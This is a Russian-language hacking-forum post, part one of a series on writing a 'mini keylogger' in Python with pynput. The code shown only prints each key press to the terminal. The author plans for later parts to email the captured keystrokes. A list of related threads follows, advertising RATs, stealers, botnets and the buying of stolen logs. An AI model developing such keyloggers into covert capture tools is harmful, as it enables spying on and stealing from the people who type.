Свой мини кейлоггер на python

*Документация к pynput -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Всем привет, недавно я написал статью о создании стиллера паролей от wifi, я не рассчитывал и на 50 просмотров, но нашему много уважаемому учителю CMDfromBAT она показалась довольно забавной и он решил закинуть её на главную форума, и тут как попёрло!) Короче 1k просмотров и я понял, что пора писать ещё) Сначала я хотел написать backdoor, но я ленивый и взял кое-что полегче - кейлоггер) и конечно же python!

Для нашего кейлоггера мы будем использовать библиотеку pynput, предварительно установив её командой

pip install pynput

Импортируем библиотеку

Python:
import pynput.keyboard

Далее нам нужно создать объект, прослушивающий клавиатуру

Python:
keyboard_listener = pynput.keyboard.Listener()

Затем нам нужно вызвать функцию обратного вызова, которая будет вырабатываться при каждом нажатии клавиши

Python:
def process_key_press(key):
    print(key) # пока мы просто будем выводить результат

keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)

Итак, у нас есть переменная с результатом нажатия клавиш, но мы с ней ничего не сделали. Чтобы запустить listener мы будем использовать ключевое слово with. По сути в питоне слово with, используется для работы с не контролируемыми потоками данных.

Python:
with keyboard_listener:
    keyboard_listener.join()

Вот и всё!

Python:
import pynput.keyboard

def process_key_press(key):
    print(key)

keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
    keyboard_listener.join()

При этом я учитываю, что вы читали документацию pynput (ссылка вверху), а иначе в дальнейшем будет не легко понять, что вообще происходит!

Тестим:

Открываем два окна с терминалом, в первом окне запускаем наш мини кейлоггер, а во второй что нибудь пишем

вот результат:

Снимок экрана 2020-06-22 06:16:01.png

*Всё особые клавиши, по типу backspace выводятся через "Key."

С основной частью мы закончили(написание самого кейлоггера). Я разделил эту статью на несколько частей, это первая, в дальнейших мы будем всё больше и больше совершенствовать свой код, вывод программы будет более понятный и приходить на почту)

Всем удачи!
 
Похожие темы
Anorali Свой мини кейлоггер на python. Часть 3 Вирусология 2
Anorali Свой мини кейлоггер на python. Часть 2 Вирусология 0
S Интересно Свой мини-рат на python + стиллер хрома v80 Готовый софт 8
G Python для хакера - Часть 4. Свой мини фреймворк. Программирование 1
Support81 Перевод крупной суммы по СБП на свой же счёт будет расцениваться банком как подозрительный Новости в сети 0
Support81 Важно! Создаем свой VPN с защищенным от блокировок протоколом AmneziaWG, или WireGuard на максималках Анонимность и приватность 3
ananda Куплю Куплю дорого свой запрос в ваших логах/строках Покупка/Продажа 1
slovokek Куплю Ищу свой запрос в ваших логах, нужен лог и пасс!!! Покупка/Продажа 1
K Интересно Отработаю свой Запрос GE в ваших логах Предоставляю работу. Ищу специалиста. 1
ananda Куплю Ищу свой запрос в ваших USA логах Покупка/Продажа 1
NetRay NetRay - cоздай свой VPN Сайты/Хостинг/Сервера 1
M Куплю Свой запрос с ваших логов. GEO – любое Покупка/Продажа 2
slovokek Куплю Куплю свой запрос в вашей валид базе US (mail:pass) Покупка/Продажа 0
A Пишем свой RAT на Python > {Часть 1} Уязвимости и взлом 3
U Интересно PHP - Пишем свой фишинг скрипт для кражи тт аккаунтов {Уровень: EASY} Программирование 10
B Разработка ботов под любую рутину. Разгрузи свой график! Ищу работу. Предлагаю свои услуги. 1
L Чекну ваши базы, на свой банк 50/50 (Brute/Checker) Предоставляю работу. Ищу специалиста. 2
L Интересно C# - Критичный процесс (Защищаем свой вирус) Программирование 0
H Интересно Как проверить свой браузер на утечку данных Полезные статьи 0
G Интересно Создаём свой магазин в телеграмме бесплатно. Полезные статьи 0
F Интересно Поднимаем свой IoT ботнет на основе Mirai Вирусология 4
igori9891 Сливаю свой мануал) Раздачи и сливы 0
S wpXtube плагин для WP с возможностью организовать свой туб+ партнёрство Раздачи и сливы 3
L Интересно Майк Новограц: ралли биткоина только начинается, не упустите свой шанс Новости в сети 0
Л Интересно Окуплю валид DE Паблик/Приват на свой сервис Ищу работу. Предлагаю свои услуги. 3
S Пишу свой ботнет, что думаете? Программирование 3
Multi-VPN Как отключить IPv6 в Windows и не спалить свой IPv6 адрес за VPN Анонимность и приватность 0
M Защищаем свой Python скрипт за пару минут Программирование 0
W Свой шоп или работа с яндекс дзен Полезные статьи 0
B Почему не стоит светить свой IP Анонимность и приватность 0
S Пишем свой перехватчик СМС Android Программирование 3
M С чего начать свой путь в хакинге? Фишинг, мошенничество, СИ 11
L Свой магазин цифровых товаров за 5 минут Услуги дизайнеров и веб-разработчиков. 1
G Защищаем свой сайт и контент от плагиата Уязвимости и взлом 1
K Как открыть свой обменный пункт электронных денег и криптовалют https://cloud.mail.ru/public/ADNB/6h4LdjqAB Раздачи и сливы 0
K Нейропластичность: Как перемонтировать свой мозг Раздачи и сливы 0
G Как построить свой личный ботнет и сколько это стоит Полезные статьи 0
K Wanna Builder (создай свой Wanna cry) Готовый софт 4
Traven Пишем свой стиллер на Python Программирование 5
АнАлЬнАя ЧуПаКаБрА Google представила свой новый квантовый процессор Bristlecone (2 фото) Новости в сети 0
Z Как создать свой сайт в Даркнете ( .onion ) Программирование 0
D Защищаем свой мобильный счёт от мошенников и операторов Полезные статьи 4
K Создаём свой ХАЙП проект Полезные статьи 11
A Delphi для начинающих – Урок 6 – Пишем свой калькулятор Программирование 0
E [PHP] Пишем свой движок 2.0 Программирование 0
Admin Скрываем свой трафик с мобильного Анонимность и приватность 0
Eteriass Интересно Мини VPN для Kali Linux/Nipe/ Фишинг, мошенничество, СИ 1
K 5 мини-курсов по программе Adobe Photoshop от «Фотошоп-мастер» Раздачи и сливы 0
M Розыгрыш мини квадрокоптера №2 Раздачи и сливы 9
M Розыгрыш мини квадрокоптера Раздачи и сливы 22

Название темы